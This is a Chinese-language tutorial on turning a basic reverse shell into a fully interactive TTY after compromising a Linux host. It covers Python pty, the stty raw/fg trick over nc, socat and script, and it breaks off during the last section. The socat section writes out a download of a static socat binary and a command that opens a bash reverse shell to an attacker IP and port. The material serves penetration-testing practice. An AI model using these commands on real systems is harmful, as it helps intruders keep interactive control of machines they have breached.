当通过反弹等方式拿到基础 Shell 后,往往面临无法使用vim
、top
、sudo
等交互命令的问题(因缺乏 tty 环境)。以下是 4 种升级为完整交互 Shell 的核心方法,无需重复描述监听过程,聚焦于拿到 Shell 后的操作:
一、Python pty 快速升级(最常用)
适用条件
目标主机已安装 Python(多数 Linux 系统默认预装)。
操作步骤
在当前基础 Shell 中直接执行:
python -c 'import pty; pty.spawn("/bin/bash")'
效果
-
生成伪终端(pty),可基本支持
cd
、ls
等命令的上下文保留; -
能使用
vim
(部分功能可能异常)和sudo
。
局限性
-
按
Ctrl+C
会直接断开连接; -
无法通过方向键调用历史命令;
-
top
等依赖 tty 的命令可能仍报错。
二、nc 环境下的完整 tty 配置(功能最完善)
适用条件
攻击机为 Linux 系统,且已通过 nc 拿到基础 Shell。
操作步骤
-
在当前 Shell 中启用 pty:
python -c 'import pty; pty.spawn("/bin/bash")' # 若没有python,尝试python3
-
挂起进程并配置攻击机终端:
-
按
Ctrl+Z
将当前 Shell 挂起(回到攻击机本地终端); -
执行以下命令关闭终端回显并恢复进程:
stty raw -echo fg # 此时Shell会回到前台,可能需要按Enter确认
-
-
配置环境变量:
reset # 刷新终端(可能需要手动输入,看不到回显时直接回车) export SHELL=bash export TERM=xterm-256color # 适配终端颜色和功能 # 根据攻击机终端尺寸设置(示例:行数24,列数80) stty rows 24 columns 80
效果
-
获得完整 tty 环境,支持
vim
、top
、sudo
等所有交互命令; -
方向键调用历史命令、
Ctrl+C
终止单个命令(不中断连接)均正常。
三、socat 工具实现稳定交互(最稳定)
适用条件
目标主机可上传文件或通过 wget 下载工具。
操作步骤
-
上传 socat 到目标机:
-
攻击机下载静态编译版 socat(无需目标机安装依赖):
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat
-
通过 WebShell 或基础 Shell 将
socat
上传至目标机/tmp
目录,赋予执行权限:chmod +x /tmp/socat
-
-
在目标机执行升级命令:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:攻击机端口
(攻击机需提前用
socat
监听对应端口:socat file:
tty,raw,echo=0 tcp-listen:端口
)
效果
-
稳定性远超 nc,接近 SSH 体验;
-
支持所有终端功能,
Ctrl+C
、后台任务切换(Ctrl+Z
)均正常; -
即使网络波动,重连后仍可恢复交互。
四、script 命令应急方案(无依赖)
适用条件
目标机无 Python、无法上传工具,但系统自带script
命令(几乎所有 Linux 默认安装)。
操作步骤
在当前基础 Shell 中直接执行:
script /dev/null # 生成指向空设备的pty,避免产生日志文件
效果
-
生成基础 tty 环境,
tty
命令会返回/dev/pts/*
(验证成功); -
可使用
vim
、top
等命令(功能略逊于完整 tty,但满足应急需求)。
局限性
-
部分终端功能(如历史命令方向键调用)可能异常;
-